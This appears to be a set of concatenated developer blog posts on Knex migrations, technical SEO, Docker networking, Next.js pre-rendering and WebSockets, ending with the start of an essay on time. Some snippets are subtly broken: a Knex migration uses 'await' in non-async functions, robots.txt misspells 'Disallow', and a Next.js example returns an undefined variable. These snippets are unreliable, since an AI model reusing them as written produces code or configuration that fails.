`psql -d postgres -U <user>`

And then execute the following queries:
```postgresql
CREATE DATABASE dev;
CREATE USER dev WITH ENCRYPTED PASSWORD 'dev';
GRANT ALL PRIVILEGES ON DATABASE dev TO dev;
```
Potentially we could also do this with Knex, but usually, since it is a one time job, it is done out of knex/application scope.


Now that we have a schema and user, we can populate the migration script as needed.
In our example we will just create a new table in `up` function and drop it in `down`.
```javascript
exports.up = function(knex) {
  await knex.raw(`CREATE TABLE test.test (coltest varchar(20))`);
};

exports.down = function(knex) {
  await knex.raw(`DROP TABLE test.test`);
};
```

To start the migration, we can execute
`knex migrate:latest`.   
To be double sure, we can list all migrations `knex migrate:list` and see their status.

In case something would go wrong, we could still rollback the latest migration with:
`knex migrate:rollback`


There are also other Knex commands based on a scenario we want to achieve ([ref](http://knexjs.org/#Installation-migrations)).

To rollback all the completed migrations:  
`knex migrate:rollback --all`  
To run the next migration that has not yet been run:  
`knex migrate:up`  
To run the specified migration that has not yet been run:     
`knex migrate:up 001_migration_name.js`  
To undo the last migration that was run:  
`knex migrate:down`  
To undo the specified migration that was run:   
`knex migrate:down 001_migration_name.js`



And that is pretty much it. We can add these commands to different scripts, like for example package.json, and execute them as needed. Or run them as part of different CI/CD pipelines.




# Database Schema Migrations (with Nodejs)

# Technical Search Engine Optimization

Search Engine Optimization (SEO) is changing and evolving every year.
SEO concepts that used to work a couple of years ago might no longer be effective today.

Search engines change their algorithms quite frequently, and with new development trends, like 
Single Page Application (SPA),
Progressive Web Apps (PWA), 
Accelerated Mobile Pages (AMP), 
API-First Approach (AFA), SEO becomes more complex. 
Additional considerations have to be kept in mind to achieve 
a good search engine rating, 
and additional development effort might be needed.


In this article, I will not be explaining details of how SEO works.
Enough has been written about it, and if you just search online for "how SEO works", you will find plenty of articles and documentation (I would go for the first result. Most likely, it has the best SEO behind it :) ).
Here, I will try to explain the main concepts to achieve a good web application 
SEO and focus on technical considerations we have to consider when we develop a web application. 

## Problems
On dynamic web applications, content is dependent on client Javascript rendering and API calls before users or robots can see the full content of the page. 
If the page isn't rendered properly (in full), then the search engines like Google and Bing will not include this page in the search results (also social sharing might not work as expected). 
Social links could be rendered like this: (add an image from Supernut)

Main SEO issues with JavaScript pages:
1. Slow and complex indexing process  
2. Errors in JavaScript code/"robot (browser) compatibility". In Google's case, robots use the latest Chromium version as a rendering engine.
3. Exhausted crawling budget/"page load times"
   	- Images are one of the main culprits of slow pages!

## How Search Robots Work
To solve these problems, first, we need to understand how Search Engine Robots work.
Fundamentally, search robots or crawlers will follow the links, sitemaps, and redirects. 

When they find the link, the following happens:
- First, the HTML gets downloaded.
- Links get extracted.
- CSS gets downloaded.
- JavaScript resources get downloaded.
- JavaScript and DOM get rendered.
- API calls are made and rendered.
- Application/Page gets assembled.
- And finally, the search engine will index/store and rank this page.

This approach might be slightly different for different search engines, but this roughly describes Google's approach.

Currently, Google is still on top of the most used search engines with the rest following a bit further behind (this does not mean we should not consider them - remember Yahoo in 2000 :) ) 

Top search engines today and their market share:

1. Google ~75% on websites and ~90% on mobile
2. Bing ~12% on websites and ~1% on mobile
3. Baidu ~8% on websites and ~4% on mobile
4. Yahoo! ~3% on websites and ~1% on mobile
5. Yandex >1% on websites and >1% on mobile
6. Ask >1% on websites and >1% on mobile
7. DuckDuckGo >1% on websites and >1% on mobile
8. Naver >1% on websites and >1% on mobile

## Solutions
There are different solutions in place for different web architectures and frameworks.
A common approach today, for good SEO, is the Server-Side Rendering (SSR) and Statically Generated Pages (in Part 2 of this blog I will go into technical details on how to achieve SSR with Nextjs and React).

### Server Side Rendereding (SSR)
Pre-rendering or server-side rendering (SSR) is the process of rendering JS and API resources on the server and then serve them completely rendered. 
This is a good solution for large dynamic web apps like e-commerce, where content is frequently changing, and the data displayed depends on different API calls.

There are different tools and frameworks available to achieve that:
   - frameworks like [Nextjs](https://github.com/vercel/next.js) or [Angular Universal](https://angular.io/guide/universal)
   - and tools like [Rendertron](https://github.com/GoogleChrome/rendertron) or [Puppeteer](https://github.com/puppeteer/puppeteer)

### Statically Generated Pages
The process of rendering the pages at build time and then serve it, is called the "Static generation". Once we have generated these pages, we can store these files independently and redirect search engine robots there.
   - a service like [prerender.io](https://prerender.io/) might be a good solution for this in case we don't want to host files ourselves (here, we have to consider the cost)
   - or we can use a framework like [Gatsbyjs](https://www.gatsbyjs.com/) which will pre-render the pages at build time and serve it from your server (a good solution for "static" web applications, which do not change frequently)
     
### General SEO Considerations
In addition to rendering, for every web application, we have to consider the proper configuration/setup of the following resources within our project:

**robots.txt**   
This file informs search engine robots on directives and URL's/paths in your app. It should be located in the root of your project and it should be configured carefully. More details about its configuration can be found [here](https://support.google.com/webmasters/answer/6062608?hl=en).  

Example of robots.txt file:
```
User-Agent: *
Dissalow: /admin/*

Sitemap: <path>/sitemap.xml
```


**SITEMAPS**   
Sitemap file (sitemap.xml) contains information about all the paths/routes in our web application.
It needs to be generated accordingly to the web application and stated in the robots.txt file.
We can achieve a sitemap generation with tools like [sitemap-generator](https://www.npmjs.com/package/sitemap-generator).

**META TAGS**   
The search meta tags instruct search engine robots on how to index our web application in a more granular way (per page).   
They are located within the `<head>` of the HTML of our web application.   
The most common tags are:   
- `index/noindex` tells the engines whether the page should be crawled and kept in a search engine's index for retrieval.
- `follow/nofollow` tells search engines whether links on the page should be followed or not followed.
- `noarchive` is used to restrict search engines from saving a cached copy of the page.

e.g.:
`<meta name="robots" content="index,follow"/>`

**KEY TERMS**   
Key terms describe the application's content in a couple of words.
When building your web application, it's a good idea to do a bit of research and analysis and use key terms that your users use to search for your type of content.  

e.g.:`<meta name="keywords"
        content="nutrients,recipes,healthy,health,sports, nutrition,nutritional,micronutrients,macronutrients"/>`

**ACCURATE PAGE TITLES**   
A page title is visible in the browser's title bar and search results. They match the content of your documents. Users are more likely to click a link if the title matches their search and the search index might also be affected if titles are not corresponding with the page.

Example of dynamic title: `<title ng-bind="meta.title"></title>`

**AVOID TEXT IN IMAGES**   
Keep relevant text and links in HTML. Encoding your text in graphics or [image maps](https://www.w3schools.com/html/html_images_imagemap.asp) can prevent search engines from finding the text or following links to your website's other pages.

**ALT TEXT FOR IMAGES**   
ALT text improves the searchability of the image content of your pages. It also makes your pages more accessible to text-only browsers and visually impaired site visitors.

Example of alt attribute: `<img src="carrots.gif" alt="Carrots">`

**MEANINGFUL CROSS-LINKS**   
Meaningful links between your web application and other related websites or providers of relevant content add value to users and can boost your ranking.

**READABLE URL'S**   
Use URL's that represent the content pages instead of numeric or otherwise cryptic URL's.

**IMAGE/CONTENT OPTIMIZATION**
   - Make images responsive with the attribute `srcset` and deliver the best image size for each device.  
   	Example of responsive image: 
```
<img srcset="carrots-480w.jpg 480w,
             cacrrots-800w.jpg 800w"
     sizes="(max-width: 600px) 480px, 800px"
     src="carrtos-800w.jpg"
     alt="Carrots">
    
```  

    
   - Show visitors that image loading is in progress with lazy loading
   - Improve speed by compressing and bundling your files

To prevent search engines from indexing multiple versions of a single page,
Google recommends having a self-referencing canonical tag on every page on your web application (https://developers.google.com/search/mobile-sites/mobile-seo/)


## Testing
Quite often the owners of web applications are not even aware of issues with their web application rendering and responsiveness.
That is why it is important to test and analyze your web application as search engine robots might see it.
Bear in mind that search engines might take a week or two for your page to be indexed.
You can speed up this process a bit by submitting a sitemap to search engines and forcing reindexing   
      - how to do it for [Google](https://support.google.com/webmasters/answer/183668?hl=en)   
      - how to do it for [Bing](https://www.bing.com/webmaster/help/how-to-submit-sitemaps-82a15bd4)   
      - how to do it for [Baidu](https://ziyuan.baidu.com/linksubmit/url)   

Couple of things to check:

1. Most search engines today claim that they are able to process the JS web application. But in reality the way they do it is still different than the web clients do it.
For example, Google robots process JS in the second pass (page rendering is not instant).
So it is good to check how robots can render your website without JS
      - [Disable Javascript in the browser and load the page](https://developers.google.com/web/tools/chrome-devtools/javascript/disable). 
      This is especially important if you are using the pre-rendering approach.
      - [Load the web application in the incognito mode](https://support.google.com/chrome/answer/95464)
      - You should expect content to be readable/visible

2. Check how your web application is indexed
      - in search console type `site:your-domain.com` (add an image with example)
      - if your page has been crawled by robots you should expect to see all the sub-links as stated in the sitemap in the results
      - [URL Inspection Tool](https://support.google.com/webmasters/answer/9012289)

3. Analyse web application
      - [Check page rendering times](https://developers.google.com/speed/pagespeed/insights/)
      - [Check mobile friendliness](https://search.google.com/test/mobile-friendly)
      - [Quality guidelines check](https://support.google.com/webmasters/topic/6001971?hl=en&ref_topic=6001981)

4. Check SEO ranking:
	- [rankingcheck](https://www.seobility.net/en/rankingcheck/)
	- [seo-analyzer](https://neilpatel.com/br/seo-analyzer/)


# Conclusion
For effective SEO, we have to keep in mind that different software architecture might require different approaches. 
If you have the luxury of including SEO concepts into your architecture, dynamic pre-rendering with frameworks like Nextjs or Gatsbyjs might be the best. 
In case your application can't include new frameworks in their architecture, there are still solutions that can sit on top or next to your application like Prerender or Puppeteer.  
This is a solid start to  make your web page visible to most of the robots and crawlers and a good start towards being visible online.

**References and links:**   
- Google 
      - https://developers.google.com/search/docs/guides/get-started   
      - https://support.google.com/webmasters/answer/35769?hl=en
      - https://developers.google.com/search/reference/robots_meta_tag   
      - https://support.google.com/webmasters/answer/6062596?hl=en   
      - https://static.googleusercontent.com/media/guidelines.raterhub.com/en//searchqualityevaluatorguidelines.pdf
- Bing       
      - https://www.bing.com/webmaster/help/getting-started-checklist-66a806de   
      - https://www.bing.com/webmaster/help/webmaster-guidelines-30fba23a
- Baidu
      - https://ziyuan.baidu.com/https/index (only Chinese)   
      - https://www.dragonmetrics.com/how-to-optimize-your-site-with-baidu-webmaster-tools/#https-migrate   
- Yahoo
      - https://help.yahoo.com/kb/higher-website-rank-sln2216.html   
- Mozilla
      - https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images   


# Technical Search Engine Optimization

# Docker Networking Practical Examples

A lot has been written about Docker networking, but there is not a lot of practical examples out there.  
So I decided to try to clarify it with a couple of Docker networking examples.
Note: this blog is referring to Docker version 19.03.13.

---
## Quick Overview of Docker Networking

First, let us have a quick overview of [Docker networking](https://docs.docker.com/network/).  
Docker has different networking drivers:  
- `bridge`: the default network driver,  
- `host`: for standalone containers,  
- `overlay`: Used in Docker swarm,
- `macvlan`: Works on MAC addresses assigned to containers,  
- `none`: Networking is disabled,  
- Network plugins: Third-party network plugins with Docker.
    
Here we will mainly focus on bridge networking driver since it allows us to connect two or more containers together and it gives us the most flexibility/functionality in terms of networking.  
I will not go into the details of Docker networking. It is quite well documented in Docker [documentation](https://docs.docker.com/network/bridge/).
Here I will just quickly summon up a couple of points.  

**Port Publishing**  
When you create or run a container, Docker by default does not publish any of its ports to the host network. 
To achieve that we need to publish the ports with `--publish` or `-p` flag. This will create a firewall rule which maps a container port to a port on the host network. 

**IP address and hostname**  
Each container gets an IP address in every Docker network it is attached to.  The Docker daemon has its own DHCP server which is in charge of assigning the IP's from the subnet range.
Each network also has a default subnet mask and gateway.

By default, when a container starts, it can be connected to only one network with `--network` flag. We can also assign it either IPv4 or IPv6 address with `--ip` or `--ip6` flags.  
Later, we attach container to different networks with:   
`docker network connect [OPTIONS] NETWORK CONTAINER`.   

**DNS services**  
A Docker container inherits the DNS settings of the host, from `/etc/resolv.conf` configuration file.  
Containers that use the default bridge network get a copy of this file, 
whereas containers that use a custom/named network use Docker's embedded DNS server,
which forwards external DNS lookups to the DNS servers configured that custom/named docker network.



A container's hostname is by default the container's ID in Docker. 
We can override it with `--hostname` or use the `--alias` flag to specify an additional network alias for the container on that network.  
 
There are also certain limitations on each of the operating systems which we need to be aware of:
- [MacOS](https://docs.docker.com/docker-for-mac/networking/)
- [Windows](https://docs.docker.com/docker-for-windows/networking/) 
    
## Practical Examples
Let us take as an example a most common scenario with two interacting services (_CLIENT_ and _SERVER_) running locally on our computer without Docker. Here we focus on only two containers but we can easily apply the same configuration to additional services.  

While these two services run on your computers network, they can communicate over a local _HOST_ network (localhost or 127.0.0.1
) as seen in the below image

_CLIENT_ (localhost:3000) <=> _SERVER_(localhost:9000)  
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
_HOST_/COMPUTER (localhost:3000; localhost:9000)
        
On our `localhost`, user can access _CLIENT_ on localhost:3000, and _CLIENT_ can 
access _SERVER_ API on port localhost:9000.

Now we want to Dockerize these two applications, and here, the story begins ... 

By default, Docker uses its own network, so we can no longer point _CLIENT_ to _SERVER_ on localhost:9000. 
Each container will have its own IP, and each container has to be configured in a way that services can still be accessible. 
So let us look at a couple of solutions we can use to solve this mystery.

---

### Named Network  
Docker by default uses **bridge** networking subsystem. When a service starts in the docker container, it will be in that network, unless specified differently.  

Containerized application/service can no longer point to localhost/127.0.0.1.
Docker will start containers with, for example 172.17.0.x.   
So our _CLIENT_ in new Docker image should point to for example 172.17.0.2:9000.  
Here comes a catch. The 172.17.0.2 IP address is internal to the Docker engine. 
This IP is dynamic, and it might change. Also, we need to update or make it configurable where our services are pointing to (for, e.g. database connections, REST API's...) 
To get around that, we can do the following: 
- `docker network create --driver=bridge next-net` we have to create a new user-defined network. 
Bear in mind named bridge network is not the same as the default bridge network, it has automatic DNS resolution...
- `docker run -d --name=next-blog-api --net=next-net -p 8888:9000 next-blog-api`  start the _SERVER_ with mapped port (our service is running on port 9000 inside of the container) and we give it a name, so a random name is not allocated to that container
- `docker run -d --net=next-net -p 3002:3000 next-blog`  start the _client_ on the same network (service inside of this container should now be pointing to http://next-blog-api:9000)

Here we created a new network and linked our containers to them. We used "named bridge network" which creates a DNS record for next-blog-api.
Now we are able to connect Dockerized _CLIENT_ to Dockerized _SERVER_ API on http://next-blog-api:9000.  
And dockerized _SERVER_ and client will also be available on the _HOST_ from http://localhost:3002 and http://localhost:8888.
    
    (Docker 172.19.0.3:3002/3000 (_CLIENT_ (172.19.0.3:3000)) <=> (Docker 172.19.0.2:8888/9000 (_SERVER_(172.19.0.2:9000)))  
                            _HOST_(localhost:3002; localhost:8888)

There is a couple of things we need to be aware regarding Dockerfile and docker `run` command:

- in Dockerfile when you `EXPOSE` a port, that signals to a hosting service that it needs to bind to this port to access the service running inside. 
For example, if we do not `EXPOSE` port, platform like Azure might assume that application inside is running on default web port 80, which will cause connection failure.

- and when you use `docker run -p ...` flag, that makes it accessible outside of Docker network



### Host Network (Only for Linux)
Another solution would be we to run Docker on the host network. This is not the best solution since the host network is meant mainly for standalone containers, but it is still good to be aware of it. 
Here again, we have a couple of gotchas: 
- published ports are discarded when using host network mode (we can't specify a different port for that container. We can't map ports as we did in bridge network with `-p 9001:9000`.
- it works only on Linux as stated [here](https://docs.docker.com/network/host/)
- container will take the namespace and port of the host 
   - `docker run -d --network=host next-blog-api`  
   - `docker run -d --net=host next-blog`  

    _CLIENT_ (localhost:3000) <=> _SERVER_(localhost:9000)  
        _HOST_ (localhost:3000; localhost:9000)
        
### Links (for Docker Engines Before 1.9 Version)  

In case you are running a version of Docker before 1.9, and you should manually create links between the containers (using the legacy --link flag).   
These links need to be created in both directions, so you can see this gets complex with more than two containers which need to communicate.   
Alternatively, you can manipulate the /etc/hosts files within the containers, but this creates problems that are difficult to debug.  

e.g.: 
`docker run -d -p 3002:3000 next-blog`
`docker run -d -p 8888:9000 next-blog-api --link=next-blog:next-blog`

---
---
---
We can see that there are quite a few solutions. First one being optimal, but it depends on your scenario which one will work for you.
Also, in testing/production environments, we would most likely use some orchestration tool like Docker-swarm or Kubernetes, where Docker images would communicate over the overlay networks. 
I will not go into details of configuring the managed Docker network, but on generally there is a couple of guidelines we could follow to avoid having connection issues:
- we have to make sure that correct ports are open and nothing is blocking them 
- enable forwarding from Docker containers to the outside world (that is on the Linux host machine)
- You need the following ports open to traffic to and from each Docker host participating on an overlay network:
            - TCP port 2377 for cluster management communications
            - TCP and UDP port 7946 for communication among nodes
            - UDP port 4789 for overlay network traffic 
 - ...

## Troubleshooting
There can be loads of different scenarios where we could have an issue connecting containers. 
So it is best to know how to do some general Docker networking troubleshooting.  
We can troubleshoot docker network with the following commands:   
    
- `docker network ls` will display a list of currently defined networks
- `docker network inspect <network name>`  will give us details (IP's, gateways, subnets) of the specific network.
- `docker inspect <container id>`  will give us details of the specific container (including networking details)
    
        #add an image of a screenshot here

It can also be useful to create a "debug container" and run some networking commands:
```
echo '
FROM ubuntu:16.04
RUN apt update && apt install -y arp-scan iputils-ping iproute2
CMD ["/bin/bash"]' > Dockerfile
docker build . -t net-tool
docker run -it net-tool
ip addr show #run inside of container
arp-scan --interface=eth0 --localnet #run inside of container
```

If you have any better troubleshooting solutions, feel free to post it in the comments. 
    
And that is all folks. Happy dockering!!

# Docker Networking Practical Examples

# Dynamic Pre-Rendering With ReactJS and NextJS

In the previous blog, [Technical Search Engine Optimization](https://medium.com/patrik-bego/technical-search-engine-optimization-717ccc73aa8b),
 I described concepts and ways to achieve good Search Engine Optimization. 
 In this blog, I will explain how to achieve that with Reactjs / Nextjs Server-Side Rendering (SSR).
 [Reactjs](reactjs.com) and [Nextjs](nextjs.com).

For our POC, we will build a Blog web-app which will read the data from Node.js Rest API and pre-render React.js 
components with Next.js on the client-side. We will mainly focus on what solutions Nextjs provides us, so it is kind of 
expected you have a basic Javascript knowledge and are familiar with tools like `npm`. 

You can have a look at the project on [GitHub](https://github.com/patrikbego/react-prerendering), and if you want to run it locally, you can pull the code and start Node.js server with the command:  
`node demo-node-server/post-api.js`

This will start a server on http://localhost:8080 and expose basic Rest API.

To run the Next.js server and client, execute in the command line:  
`npm run start` (for debug mode: `npm run dev`)  

That will start the server, and you should be able to open the web-app in the browser on  http://localhost:3000.

Alternatively, you can create a new npm project with: `npm init`.
Add below dependencies into packages.js, and you will have a base React/Next.js project.
```json
"dependencies": {
    "next": "^10.0.3",
    "react": "^16.13.1",
    "react-dom": "^16.13.1",
  }
```

#### Next.js project structure
Before we dive into the code, let us just quickly go through a couple of Next.js guidelines that we have to follow.  
Next.js is a framework, and for it to work as intended, it needs specific project structure. The minimum required is "./pages" directory and "index.js" file in it.  
If you were to create overrides for your app or document, then you can do that inside "_app.js" and a "_document.js" files (also inside the "./pages" folder). The "./public" directory is another folder that Next.JS looks into for static files to be emitted into the final build directory.

Our project structure looks like this:
```
.
├── README.md
├── demo-node-server
│   ├── README.md
│   ├── package-lock.json
│   ├── package.json
│   ├── post-api.js
│   └── posts
│       ├── best-practices-in-life.md
│       └── break-the-bad-habits.md
├── jest.config.js
├── package-lock.json
├── package.json
├── src
│   ├── api
│   │   ├── internalPost.js
│   │   ├── posts.js
│   │   ├── posts.test.js
│   │   ├── user.test.js
│   │   └── users.js
│   ├── components
│   │   ├── dateLabel.js
│   │   ├── dateLabel.test.js
│   │   ├── layout.js
│   │   ├── layout.module.css
│   │   ├── layout.test.js
│   │   ├── mainList.js
│   │   ├── mainList.test.js
│   │   ├── shareFooter.js
│   │   ├── shareFooter.module.css
│   │   ├── shareFooter.test.js
│   │   └── testComponent.js
│   ├── pages
│   │   ├── _app.js
│   │   ├── index.js
│   │   └── posts
│   │       └── [id].js
│   └── styles
│       ├── global.css
│       └── utils.module.css
├── public
│   ├── favicon.ico
│   └── images
│       └── profile.jpg
└── tests
    ├── __mocks__
    │   ├── fileMock.js
    │   └── styleMock.js
    ├── index.test.js
    └── setupTests.js

```
`Pages` folder should be located in either root folder or src, but not not on both locations.

#### Next.js features (used in this demo)
Next.js has quite a few features. Here we will mainly focus on the retrieving dynamic content from the server and rendering it. For that, we will use the following:

**Routing**  
Routing is Next.js can be achieved easily with placing a js file into ./pages directory. That will automatically expose it as a route (no additional configuration is needed).  
For e.g. pages/about.js will be accessible as <host>/about.
We also need to have main index.js file which is exposed under root (/).
In our case, index.js (code below) contains pure React components and Next.js method `getServerSideProps`. This method is crucial for providing dynamic content on Next.js server and rendering the content of a page.

```javascript
export default function Home({postsData, blogger}) {
  return (
    <Layout postsData home user={blogger}>
      <Head>
        <title>{blogger.siteTitle}</title>
      </Head>
      <section className={utilStyles.headingMd}>
        <p>{blogger.about}</p>
      </section>
      <section className={`${utilStyles.headingMd} ${utilStyles.padding1px}`}>
        <h2 className={utilStyles.headingLg}>Blog</h2>
        <MainList postsData={postsData}/>
      </section>
    </Layout>
  )
}

export async function getServerSideProps() {
  let allPostsData = await getSortedPostsData();
  let blogger = await getUserData('blogger.nr1'); 
  return {
    props: {
      postsData,
      blogger
    }
  }
}
```
&nbsp;
Data fetching
In the above code snippet, we dynamically fetched the content/props from the Rest API with `getServerSideProps` 
method and passed it to the component which can then be pre-rendered for the client.  
But data fetching in Next.js can be achieved in a couple of ways, depending on use case and content.
For this, Next.js has the following methods which can be added to the component:
- `getStaticProps` method provides the content which is rendered at build time. That is useful if the content of a page does not change often, and it is faster than `getServerSideProps`.
- `getStaticPaths` method provides the routes which are rendered at build time in combination with `getStaticProps`. It defines a list of paths that have to be rendered at build time.
- `getServerSideProps` method provides the content which is rendered at request time. It is slower than `getStaticProps` but in the case of retrieving the dynamic content from the Rest API that is the way to do it.
- note that `getServerSideProps` runs on the server-side of Next.js. We can access the database or filesystem directly from the method.

In our example above, we get all the "blog" content and all the information about the blogger from the Rest API (`demo-node-server`) as postsData and blogger objects linked to the component.
That data is then listed in the `Layout` component inside of `MainList`. Here we use another react component,`Link`, which redirects the page to the blog content retrieved from the Node server.
  
```javascript
    <Link href="/posts/[id]" as={`/posts/${id}`}>
      <a>{title}</a>
    </Link>
```
Once the link is clicked we handle it with "dynamic routing".

**Dynamic routing**  
Dynamic routing is another Next.js method of exposing routes dynamically.
In our case that is pretty handy since routes are based on the posted blogs. 
For e.g. file pages/posts/[id].js will parse the content for each specific blog and expose 
it as posts/best-practices-in-life, posts/break-the-bad-habits, etc.
  ```javascript
export default function Post({postData, blogger}) {
   return (
     <Layout user={blogger}>
       <Head>
         <title>{postData.title}</title>
       </Head>
       <article>
         <h1 className={utilStyles.headingXl}>{postData.title}</h1>
         <div className={utilStyles.lightText}>
           <DateLabel dateString={postData.date}/>
         </div>
         <div dangerouslySetInnerHTML={{__html: postData.contentHtml}}/>
       </article>
       <ShareFooter postData={postData}/>
     </Layout>
   )
 }
 
 export async function getServerSideProps({params}) {
   console.log(params);
   const postData = await getPostData(params.id)
   let blogger = await getUserData('blogger.nr1'); //TODO hard coded for now
   return {
     props: {
       postData,
       blogger
     }
   }
 }
```
In above snippet we can see that the `id` has been passed from the URL to the `getServerSideProps` method, 
and based on that blog data is fetched from Node server.


**Built-In CSS Support**  
In Next.js we can  conveniently import the main CSS file inside of ./pages/_app.js.
CSS files with the same name as JS files [name].module.css can be used for automatic component level import.

Next.js has quite a few additional actions for CSS which can be found [here]https://nextjs.org/docs/basic-features/built-in-css-support.

**Image Optimization**  
Next.js automatically optimizes an image being served to the client (since version 10.0.0). It optimizes and resizes image based on the viewport.
It allows us to define internal/local or external (cmd ...) images.
Definition for external images has to be defined in next.config.js:
```javascript
module.exports = {
  images: {
    domains: ['assets.com'],
  },
}
```

That is pretty much all the features we need for a good search engine rendering. We should still address topics mentioned in the previous [blog](https://medium.com/patrik-bego/technical-search-engine-optimization-717ccc73aa8b) and invest some effort into non-technical SEO, and our web-app should be ready for the world ;)


# Dynamic Pre-Rendering With ReactJS and NextJS

# WebSockets

WebSockets are a powerful communication protocol that enables real-time, two-way communication between applications. 
They are commonly used in applications such as chat systems, gaming platforms, 
and other scenarios that require immediate data exchange.  

A WebSocket server is an application that listens on a TCP port and follows the RFC 6455 protocol, 
which defines the WebSocket standard. You can implement a WebSocket server using any server-side programming 
language that supports Berkeley sockets (also known as BSD sockets or POSIX sockets).

### The key advantages of using WebSocket for communication are:

**Two-way Communication:   **
With WebSockets, the server can initiate communication and send messages to clients at any time. Unlike traditional HTTP requests, where clients have to poll the server regularly for updates, WebSockets allow clients to establish a connection and listen for incoming messages from the server. This enables real-time updates and eliminates the need for constant polling.

**Lower Overhead per Message:  ** 
In scenarios with high traffic between the client and server, WebSockets have lower overhead per message compared to traditional HTTP requests. Once the WebSocket connection is established, messages can be sent over the existing TCP connection without the need to establish a new connection for each message. In contrast, HTTP requests require multiple round trips for connection establishment, which adds overhead, especially when using SSL/TLS.

**Higher Scalability:    **
Due to the lower overhead and elimination of client polling, WebSocket-based applications can achieve higher scalability. The reduced network traffic and server load allow a single server to serve a larger number of connected clients. However, WebSocket scalability also depends on factors such as server capacity and resource availability.

**Stateful Connections:   **
WebSocket connections are inherently stateful, meaning you can store and manage connection-specific state on the server without relying on cookies or session IDs. While stateless connections are commonly used in modern development practices, there are situations where having a stateful connection simplifies the application logic.

### The key disadvantages of using WebSocket for communication are:

**Scalability Challenges:**   
At large scales, particularly with hundreds of thousands of connected clients, special server configurations and optimizations may be necessary to handle the increased WebSocket connections efficiently.

**Client and Toolset Support:**  
Not all clients and toolsets provide the same level of support for WebSockets as they do for HTTP requests. Ensure that the clients you are targeting can effectively work with WebSockets before adopting them.

**Server Environment Limitations:** 
Some server environments, particularly less expensive or shared hosting environments, may not support the long-running server processes required to handle WebSocket connections. Verify that your server environment can handle WebSocket connections effectively.

**Use Case Specificity:**. 
If your application requires progress notifications sent to clients, you have options to achieve this using either long-running HTTP connections or WebSockets. WebSockets might be more convenient in such cases. However, if you only need WebSockets for a specific activity's short duration, using WebSockets solely for pushing data and relying on HTTP requests for regular request/response activities could provide the best trade-off.


## How WebSocket Works
### The WebSocket handshake:
The handshake is the "Web" in WebSockets. It's the bridge from HTTP to WebSockets and it uses the same process/path
as any HTTP request to establish a connection (8 back and forward calls between client and server).  

### Client handshake request
First the client will try to establish http connection with the server.
All the http rules apply here. Client can send different headers like cookies, origin, authorization ...
Example: 
```http request
GET /chat HTTP/1.1
Host: example.com:8000
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
```   

### Server handshake response
When the server receives the handshake request, it should send back a special response that indicates that the protocol 
will be changing from HTTP to WebSocket.
Example: 
```http request
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
```
The Sec-WebSocket-Accept header is important in that the server must derive it from the Sec-WebSocket-Key 
that the client sent to it. 
To get it, concatenate the client's Sec-WebSocket-Key and the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" 
together (it's a "magic string"), take the SHA-1 hash of the result, and return the base64 encoding of that hash.
All the http rules still apply here. Server can respond with all http headers. Like cookies, cache-control ...

NOTE: The server must keep track of clients' sockets, so we don't keep handshaking again.

### Connection established: Exchanging data frames
Client or the server can choose to send a message at any time. 
To extract the information from these so-called "frames" of data the same specific format is being used. 
Data going from the client to the server is masked using XOR encryption (with a 32-bit key). 
```http request
Frame format:

      0                   1                   2                   3
      0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
     +-+-+-+-+-------+-+-------------+-------------------------------+
     |F|R|R|R| opcode|M| Payload len |    Extended payload length    |
     |I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |
     |N|V|V|V|       |S|             |   (if payload len==126/127)   |
     | |1|2|3|       |K|             |                               |
     +-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
     |     Extended payload length continued, if payload len == 127  |
     + - - - - - - - - - - - - - - - +-------------------------------+
     |                               |Masking-key, if MASK set to 1  |
     +-------------------------------+-------------------------------+
     | Masking-key (continued)       |          Payload Data         |
     +-------------------------------- - - - - - - - - - - - - - - - +
     :                     Payload Data continued ...                :
     + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
     |                     Payload Data continued ...                |
     +---------------------------------------------------------------+

```
Based on this format decoding/encoding of transferred payloads happen.

### Pings and Pongs: The Heartbeat of WebSockets
At any point after the handshake, either the client or the server can choose to 
send a ping to the other party. When the ping is received, the recipient must send 
back a pong as soon as possible. You can use this to make sure that the client is still connected, for example.
A ping or pong is just a regular frame, but it's a control frame. 
Pings have an opcode of 0x9, and pongs have an opcode of 0xA. When you get a ping, 
send back a pong with the exact same Payload Data as the ping (for pings and pongs, 
the max payload length is 125). You might also get a pong without ever sending a ping; ignore this if it happens.

### Closing the connection
To close a connection either the client or server can send a control 
frame with data containing a specified control sequence to begin the closing handshake



**You can find a standalone Java server and simple Javascript client here:** 
https://gist.github.com/patrikbego/447c40f8eaee709d7a6a2d2cadbfd046 
https://gist.github.com/patrikbego/acd1eb069195c78d9db7edb8a0eb6a3c 

Refs:
https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API/Writing_WebSocket_servers
https://stackoverflow.com/questions/29925955/what-are-the-pitfalls-of-using-websockets-in-place-of-restful-http
https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API/Writing_a_WebSocket_server_in_Java


# WebSockets

# Algo Cheat Sheet

# Time Is Hard: Why Developers Keep Getting It Wrong

Let’s talk about one of the most misunderstood concepts in software engineering: **time**.

Not performance time, not response time, not compile time — but **actual human, real-world time**. Dates. Clocks. Time zones. Daylight saving. Calendars. Business hours. The kinds of things we assume will “just work” when we write `Date.now()` or `new Date()`.

Except they don’t. They rarely do. And most of us, at some point, have learned that the hard way.

When time-related bugs show up, they’re often hard to trace and even harder to reproduce. Appointments end up in the wrong slot. Logs don’t line up. Tokens expire too soon. Financial reports look off by a day. Or your perfectly scheduled midnight batch job suddenly starts running at 1am because the clocks shifted.

Time, in software, is **a beast** — and yet it’s usually treated as an afterthought.

---

## Why Time Is More Complicated Than It Looks

On the surface, time feels universal. We all understand what a clock is. We agree what "Monday at 10am" means. Until we don’t.

